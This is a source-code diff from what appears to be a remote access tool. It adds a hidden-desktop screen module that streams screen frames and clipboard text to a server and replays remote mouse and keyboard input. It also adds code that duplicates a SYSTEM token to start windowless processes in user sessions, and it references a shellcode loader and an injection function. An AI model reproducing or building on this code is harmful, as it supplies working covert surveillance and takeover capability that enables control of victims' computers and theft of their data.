return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||||
}
|
||||
|
||||
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
|
||||
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
|
||||
}
|
||||
|
||||
virtual void ResetScreen(int biBitCount = 32) {
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
SAFE_DELETE(m_ScreenSpyObject);
|
||||
m_biBitCount = biBitCount;
|
||||
m_bIsWorking = TRUE;
|
||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
|
||||
}
|
||||
|
||||
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
|
||||
if (!OpenClipboard(NULL))
|
||||
return;
|
||||
EmptyClipboard();
|
||||
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
|
||||
if (hGlobal != NULL) {
|
||||
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
|
||||
if (szClipboardVirtualAddress)
|
||||
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||||
GlobalUnlock(hGlobal);
|
||||
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
|
||||
GlobalFree(hGlobal);
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
virtual VOID SendClientClipboard() {
|
||||
if (!OpenClipboard(NULL)) //打开剪切板设备
|
||||
return;
|
||||
HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
|
||||
if (hGlobal == NULL) {
|
||||
CloseClipboard();
|
||||
return;
|
||||
}
|
||||
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||||
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
|
||||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||||
|
||||
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||
GlobalUnlock(hGlobal);
|
||||
CloseClipboard();
|
||||
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
|
||||
delete[] szBuffer;
|
||||
}
|
||||
|
||||
virtual DWORD WorkProcess() {
|
||||
CScreenManagerBase* This = this;
|
||||
This->InitScreenSpy();
|
||||
|
||||
This->SendBitMapInfo();
|
||||
if (This->m_bIsWorking)
|
||||
This->WaitForDialogOpen();
|
||||
This->SendScreenSize();
|
||||
clock_t last = clock();
|
||||
if (!This->SendFirstScreen()) {
|
||||
Mprintf("Send first screen failed!!!\n");
|
||||
return 0x20250224;
|
||||
}
|
||||
Mprintf("Succeed sending bmpInfo and first screen\n");
|
||||
|
||||
float fps = This->m_fps;
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
int c1 = 0; // 连续耗时长的次数
|
||||
int c2 = 0; // 连续耗时短的次数
|
||||
int s0 = sleep; // 两帧之间隔(ms)
|
||||
const int frames = fps; // 每秒调整屏幕发送速度
|
||||
const double alpha = 1.1; // 控制fps的因子
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking) {
|
||||
ULONG ulNextSendLength = 0;
|
||||
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
|
||||
if (NULL == szBuffer) {
|
||||
continue;
|
||||
}
|
||||
int span = s0 - (clock() - last);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
|
||||
c2 = 0;
|
||||
if (frames == ++c1) { // 连续一定次数耗时长
|
||||
s0 = (s0 <= 500) ? s0 * alpha : s0;
|
||||
c1 = 0;
|
||||
#ifdef _DEBUG
|
||||
if (s0 > 40)
|
||||
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
|
||||
c1 = 0;
|
||||
if (frames == ++c2) { // 连续一定次数耗时短
|
||||
s0 = (s0 >= 40) ? s0 / alpha : s0;
|
||||
c2 = 0;
|
||||
#ifdef _DEBUG
|
||||
if (s0 > 40)
|
||||
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
last = clock();
|
||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
Mprintf("ScreenWorkThread Exit\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
virtual DWORD ControlProcess() {
|
||||
CScreenManagerBase* pThis = this;
|
||||
pThis->WaitForDialogOpen();
|
||||
while (pThis->IsConnect() && pThis->m_bIsWorking) {
|
||||
// 分辨率大小改变了
|
||||
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
|
||||
pThis->ResetScreen(pThis->GetCurrentPixelBits());
|
||||
Sleep(2000);
|
||||
}
|
||||
Sleep(10);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
|
||||
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
|
||||
return pThis->WorkProcess();
|
||||
}
|
||||
|
||||
static DWORD WINAPI ControlThread(LPVOID lparam) {
|
||||
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
|
||||
return pThis->ControlProcess();
|
||||
}
|
||||
|
||||
std::wstring ConvertToWString(const std::string& multiByteStr) {
|
||||
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
|
||||
if (len == 0) return L""; // 转换失败
|
||||
|
||||
std::wstring wideStr(len, L'\0');
|
||||
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
|
||||
|
||||
return wideStr;
|
||||
}
|
||||
|
||||
std::string GetTitle(HWND hWnd) {
|
||||
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
|
||||
GetWindowTextA(hWnd, title, sizeof(title));
|
||||
return title;
|
||||
}
|
||||
|
||||
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
|
||||
bool bReturn = false;
|
||||
|
||||
try {
|
||||
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
|
||||
return false;
|
||||
|
||||
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
|
||||
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
|
||||
|
||||
std::wstring path = ConvertToWString(pszApplicationFilePath);
|
||||
if (!PathIsExe(path.c_str()))
|
||||
return false;
|
||||
PathRemoveFileSpec(szDirectoryName);
|
||||
STARTUPINFO sInfo = { 0 };
|
||||
PROCESS_INFORMATION pInfo = { 0 };
|
||||
|
||||
sInfo.cb = sizeof(sInfo);
|
||||
sInfo.lpDesktop = pszDesktopName;
|
||||
|
||||
//Launching a application into desktop
|
||||
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
TRUE,
|
||||
NORMAL_PRIORITY_CLASS,
|
||||
NULL,
|
||||
szDirectoryName,
|
||||
&sInfo,
|
||||
&pInfo);
|
||||
CloseHandle(pInfo.hProcess);
|
||||
CloseHandle(pInfo.hThread);
|
||||
TCHAR* pszError = NULL;
|
||||
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
|
||||
|
||||
if (pszError) {
|
||||
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
|
||||
LocalFree(pszError); // 释放内存
|
||||
}
|
||||
|
||||
if (bCreateProcessReturn)
|
||||
bReturn = true;
|
||||
|
||||
}
|
||||
catch (...) {
|
||||
bReturn = false;
|
||||
}
|
||||
|
||||
return bReturn;
|
||||
}
|
||||
|
||||
virtual VOID SendBitMapInfo() {
|
||||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||||
LPBYTE szBuffer = new BYTE[ulLength];
|
||||
szBuffer[0] = m_DlgToken;
|
||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
}
|
||||
|
||||
virtual void SendScreenSize()
|
||||
{
|
||||
RECT rect = m_ScreenSpyObject->GetScreenRect();
|
||||
BYTE lpBuffer[sizeof(RECT) + 1];
|
||||
lpBuffer[0] = TOKEN_SCREEN_SIZE;
|
||||
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
|
||||
Send(lpBuffer, sizeof(lpBuffer));
|
||||
}
|
||||
|
||||
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
|
||||
int msgSize = sizeof(MYMSG);
|
||||
if (ulLength % 28 == 0) // 32位控制端发过来的消息
|
||||
msgSize = 28;
|
||||
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
|
||||
msgSize = 48;
|
||||
else return; // 数据包不合法
|
||||
ULONG ulMsgCount = ulLength / msgSize;
|
||||
BYTE* ptr = szBuffer;
|
||||
MSG32 msg32;
|
||||
MSG64 msg64;
|
||||
if (nullptr == g_hDesk) {
|
||||
// 命令个数
|
||||
// 处理多个命令
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
|
||||
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||
switch (Msg->message) {
|
||||
case WM_LBUTTONDOWN: case WM_LBUTTONUP:
|
||||
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
|
||||
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
|
||||
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
|
||||
case WM_MOUSEMOVE: {
|
||||
POINT Point;
|
||||
Point.x = LOWORD(Msg->lParam);
|
||||
Point.y = HIWORD(Msg->lParam);
|
||||
m_ScreenSpyObject->PointConversion(Point);
|
||||
SetCursorPos(Point.x, Point.y);
|
||||
SetCapture(WindowFromPoint(Point));
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
switch (Msg->message) {
|
||||
case WM_LBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_LBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_LBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_RBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONDBLCLK:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONDOWN:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MBUTTONUP:
|
||||
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||
break;
|
||||
case WM_MOUSEWHEEL:
|
||||
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
|
||||
break;
|
||||
case WM_KEYDOWN: case WM_SYSKEYDOWN:
|
||||
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
|
||||
break;
|
||||
case WM_KEYUP: case WM_SYSKEYUP:
|
||||
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else { // 虚拟桌面
|
||||
HWND hWnd = NULL;
|
||||
BOOL mouseMsg = FALSE;
|
||||
POINT lastPointCopy = {};
|
||||
SetThreadDesktop(g_hDesk);
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
|
||||
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||
switch (msg->message) {
|
||||
case WM_KEYUP:
|
||||
return;
|
||||
case WM_CHAR:
|
||||
|
||||
case WM_KEYDOWN: {
|
||||
m_point = m_lastPoint;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
break;
|
||||
}
|
||||
case WM_RBUTTONDOWN: {
|
||||
// 记录右键按下时的坐标
|
||||
m_rmouseDown = TRUE;
|
||||
m_rclickPoint = msg->pt;
|
||||
break;
|
||||
}
|
||||
case WM_RBUTTONUP: {
|
||||
m_rmouseDown = FALSE;
|
||||
m_rclickWnd = WindowFromPoint(m_rclickPoint);
|
||||
// 检查是否为系统菜单(如任务栏)
|
||||
char szClass[256] = { 0 };
|
||||
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
|
||||
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
|
||||
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
|
||||
// 触发系统级右键菜单(任务栏)
|
||||
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
|
||||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
|
||||
}
|
||||
else {
|
||||
// 普通窗口的右键菜单
|
||||
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
|
||||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
|
||||
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
|
||||
keybd_event(VK_SHIFT, 0, 0, 0);
|
||||
keybd_event(VK_F10, 0, 0, 0);
|
||||
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
|
||||
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
mouseMsg = TRUE;
|
||||
m_point = msg->pt;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
lastPointCopy = m_lastPoint;
|
||||
m_lastPoint = m_point;
|
||||
if (msg->message == WM_LBUTTONUP) {
|
||||
if (m_rclickWnd && hWnd != m_rclickWnd)
|
||||
{
|
||||
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
|
||||
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
|
||||
m_rclickWnd = nullptr;
|
||||
}
|
||||
m_lmouseDown = FALSE;
|
||||
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
switch (lResult) {
|
||||
case HTTRANSPARENT: {
|
||||
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
|
||||
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
break;
|
||||
}
|
||||
case HTCLOSE: {// 关闭窗口
|
||||
PostMessageA(hWnd, WM_CLOSE, 0, 0);
|
||||
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
case HTMINBUTTON: {// 最小化
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
|
||||
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
case HTMAXBUTTON: {// 最大化
|
||||
WINDOWPLACEMENT windowPlacement;
|
||||
windowPlacement.length = sizeof(windowPlacement);
|
||||
GetWindowPlacement(hWnd, &windowPlacement);
|
||||
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
|
||||
else
|
||||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
|
||||
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (msg->message == WM_LBUTTONDOWN) {
|
||||
m_lmouseDown = TRUE;
|
||||
m_hResMoveWindow = NULL;
|
||||
RECT startButtonRect;
|
||||
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
|
||||
GetWindowRect(hStartButton, &startButtonRect);
|
||||
if (PtInRect(&startButtonRect, m_point)) {
|
||||
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
|
||||
continue;
|
||||
}
|
||||
else {
|
||||
char windowClass[MAX_PATH] = { 0 };
|
||||
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
|
||||
if (!lstrcmpA(windowClass, "#32768")) {
|
||||
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
|
||||
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
|
||||
int itemId = GetMenuItemID(hMenu, itemPos);
|
||||
PostMessageA(hWnd, 0x1e5, itemPos, 0);
|
||||
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (msg->message == WM_MOUSEMOVE) {
|
||||
if (!m_lmouseDown)
|
||||
continue;
|
||||
if (!m_hResMoveWindow)
|
||||
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||
else
|
||||
hWnd = m_hResMoveWindow;
|
||||
int moveX = lastPointCopy.x - m_point.x;
|
||||
int moveY = lastPointCopy.y - m_point.y;
|
||||
|
||||
RECT rect;
|
||||
GetWindowRect(hWnd, &rect);
|
||||
int x = rect.left;
|
||||
int y = rect.top;
|
||||
int width = rect.right - rect.left;
|
||||
int height = rect.bottom - rect.top;
|
||||
switch (m_resMoveType) {
|
||||
case HTCAPTION: {
|
||||
x -= moveX;
|
||||
y -= moveY;
|
||||
break;
|
||||
}
|
||||
case HTTOP: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOM: {
|
||||
height -= moveY;
|
||||
break;
|
||||
}
|
||||
case HTLEFT: {
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTRIGHT: {
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
case HTTOPLEFT: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTTOPRIGHT: {
|
||||
y -= moveY;
|
||||
height += moveY;
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOMLEFT: {
|
||||
height -= moveY;
|
||||
x -= moveX;
|
||||
width += moveX;
|
||||
break;
|
||||
}
|
||||
case HTBOTTOMRIGHT: {
|
||||
height -= moveY;
|
||||
width -= moveX;
|
||||
break;
|
||||
}
|
||||
default:
|
||||
continue;
|
||||
}
|
||||
MoveWindow(hWnd, x, y, width, height, FALSE);
|
||||
m_hResMoveWindow = hWnd;
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
for (HWND currHwnd = hWnd;;) {
|
||||
hWnd = currHwnd;
|
||||
ScreenToClient(currHwnd, &m_point);
|
||||
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
|
||||
if (!currHwnd || currHwnd == hWnd)
|
||||
break;
|
||||
}
|
||||
if (mouseMsg)
|
||||
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
|
||||
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public: // 纯虚函数
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
|
||||
virtual void InitScreenSpy() = 0;
|
||||
|
||||
HDESK g_hDesk;
|
||||
std::string m_DesktopID;
|
||||
void* m_ptrUser;
|
||||
ScreenCapture* m_ScreenSpyObject;
|
||||
BOOL m_bIsWorking;
|
||||
long m_oldwidth, m_oldheigh;
|
||||
int m_biBitCount;
|
||||
int m_fps;
|
||||
int m_DlgToken; // 这个值决定打开哪个对话框
|
||||
HANDLE m_hWorkThread, m_hBlankThread;
|
||||
|
||||
// 虚拟桌面
|
||||
POINT m_point;
|
||||
POINT m_lastPoint;
|
||||
BOOL m_lmouseDown;
|
||||
HWND m_hResMoveWindow;
|
||||
LRESULT m_resMoveType;
|
||||
BOOL m_rmouseDown; // 标记右键是否按下
|
||||
POINT m_rclickPoint; // 右键点击坐标
|
||||
HWND m_rclickWnd; // 右键窗口
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,176 @@
|
||||
#include "session.h"
|
||||
#include <wtsapi32.h>
|
||||
#include <userenv.h>
|
||||
#include <wtsapi32.h>
|
||||
#include <stdio.h>
|
||||
#include "common/logger.h"
|
||||
#pragma comment(lib, "Wtsapi32.lib")
|
||||
#pragma comment(lib, "Userenv.lib")
|
||||
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
|
||||
|
||||
static DWORD g_lastIndex = 0;
|
||||
|
||||
DWORD GetNextSessionRoundRobin()
|
||||
{
|
||||
PWTS_SESSION_INFOA sessions = NULL;
|
||||
DWORD count = 0;
|
||||
|
||||
if (!WTSEnumerateSessionsA(
|
||||
WTS_CURRENT_SERVER_HANDLE,
|
||||
0,
|
||||
1,
|
||||
&sessions,
|
||||
&count))
|
||||
{
|
||||
Mprintf("WTSEnumerateSessionsA Failed: %d\n", GetLastError());
|
||||
return 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
if (count == 0)
|
||||
{
|
||||
Mprintf("WTSEnumerateSessionsA Failed: count=0\n");
|
||||
WTSFreeMemory(sessions);
|
||||
return 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
DWORD start = g_lastIndex;
|
||||
|
||||
for (DWORD i = 0; i < count; i++)
|
||||
{
|
||||
DWORD idx = (start + i) % count;
|
||||
|
||||
DWORD sessionId = sessions[idx].SessionId;
|
||||
|
||||
// 过滤无效 session
|
||||
if (sessionId == 0)
|
||||
continue;
|
||||
|
||||
WTS_CONNECTSTATE_CLASS* state = NULL;
|
||||
DWORD bytes = 0;
|
||||
|
||||
if (WTSQuerySessionInformationA(
|
||||
WTS_CURRENT_SERVER_HANDLE,
|
||||
sessionId,
|
||||
WTSConnectState,
|
||||
(LPSTR*)&state,
|
||||
&bytes))
|
||||
{
|
||||
BOOL ok = (state && (
|
||||
*state == WTSActive ||
|
||||
*state == WTSConnected));
|
||||
|
||||
WTSFreeMemory(state);
|
||||
|
||||
if (ok)
|
||||
{
|
||||
g_lastIndex = (idx + 1) % count;
|
||||
DWORD result = sessionId;
|
||||
WTSFreeMemory(sessions);
|
||||
Mprintf("GetNextSessionRoundRobin Succeed: session=%d\n", result);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
WTSFreeMemory(sessions);
|
||||
return 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd)
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
HANDLE hDupToken = NULL;
|
||||
// 获取当前服务进程的 SYSTEM 令牌
|
||||
char buf[500];
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
|
||||
sprintf(buf, "OpenProcessToken failed: %d\n", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 复制为可用于创建进程的主令牌
|
||||
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
|
||||
SecurityImpersonation, TokenPrimary, &hDupToken)) {
|
||||
sprintf(buf, "DuplicateTokenEx failed: %d\n", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 修改令牌的会话 ID 为目标用户会话
|
||||
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
|
||||
sprintf(buf, "SetTokenInformation failed: %d\n", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("Token duplicated");
|
||||
|
||||
char path[MAX_PATH];
|
||||
if (!exePath)
|
||||
GetModuleFileNameA(NULL, path, MAX_PATH);
|
||||
else
|
||||
lstrcpyA(path, exePath);
|
||||
|
||||
// 获取用户令牌(用于获取环境块)
|
||||
LPVOID lpEnvironment = NULL;
|
||||
HANDLE hUserToken = NULL;
|
||||
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
|
||||
Mprintf( "WTSQueryUserToken failed: %d\n", (int)GetLastError());
|
||||
}
|
||||
|
||||
// 使用用户令牌创建环境块
|
||||
if (hUserToken) {
|
||||
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
|
||||
Mprintf("CreateEnvironmentBlock failed: %d\n", GetLastError());
|
||||
}
|
||||
CloseHandle(hUserToken);
|
||||
}
|
||||
|
||||
STARTUPINFOA si = { 0 };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
|
||||
si.cb = sizeof(si);
|
||||
si.lpDesktop = (LPSTR)"winsta0\\default";
|
||||
char cmdStr[300];
|
||||
sprintf(cmdStr, "\"%s\" -cmd=%d", path, int(cmd));
|
||||
BOOL result = CreateProcessAsUserA(
|
||||
hDupToken,
|
||||
NULL,
|
||||
(LPSTR)cmdStr,
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT,
|
||||
lpEnvironment,
|
||||
NULL,
|
||||
&si,
|
||||
&pi);
|
||||
|
||||
if (result)
|
||||
{
|
||||
Mprintf("CreateProcessAsUserA Succeed\n");
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
else {
|
||||
Mprintf("CreateProcessAsUserA Failed [%d]: %s\n", GetLastError(), cmdStr);
|
||||
}
|
||||
|
||||
CloseHandle(hDupToken);
|
||||
CloseHandle(hToken);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void RunRoundRobinAgent(BYTE cmd)
|
||||
{
|
||||
DWORD sessionId = GetNextSessionRoundRobin();
|
||||
|
||||
if (sessionId == 0xFFFFFFFF)
|
||||
return;
|
||||
|
||||
StartProcessInSessionA(sessionId, NULL, cmd);
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#include <windows.h>
|
||||
|
||||
DWORD GetNextSessionRoundRobin();
|
||||
|
||||
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd);
|
||||
|
||||
void RunRoundRobinAgent(BYTE cmd);
|
||||
+23
-6
@@ -8,6 +8,7 @@
|
||||
#include <common/md5.h>
|
||||
#include <common/iniFile.h>
|
||||
#include "auto_start.h"
|
||||
#include "Common.h"
|
||||
// A shell code loader connect to 127.0.0.1:6543.
|
||||
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
||||
// #include "SCLoader.cpp"
|
||||
@@ -27,6 +28,8 @@ typedef bool (*IsStoped)();
|
||||
|
||||
typedef BOOL (*IsExit)();
|
||||
|
||||
typedef int(*CmdRunner)(LPBYTE szBuffer, int ulLength);
|
||||
|
||||
// 停止程序运行
|
||||
StopRun stop = NULL;
|
||||
|
||||
@@ -60,7 +63,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
||||
}
|
||||
|
||||
// 运行程序.
|
||||
BOOL Run(const char* argv1, int argv2);
|
||||
BOOL Run(const char* argv1, int argv2, const std::string& runCmd);
|
||||
|
||||
// Package header.
|
||||
typedef struct PkgHeader {
|
||||
@@ -305,16 +308,19 @@ int InjectShellcode(BYTE* buf, int len) {
|
||||
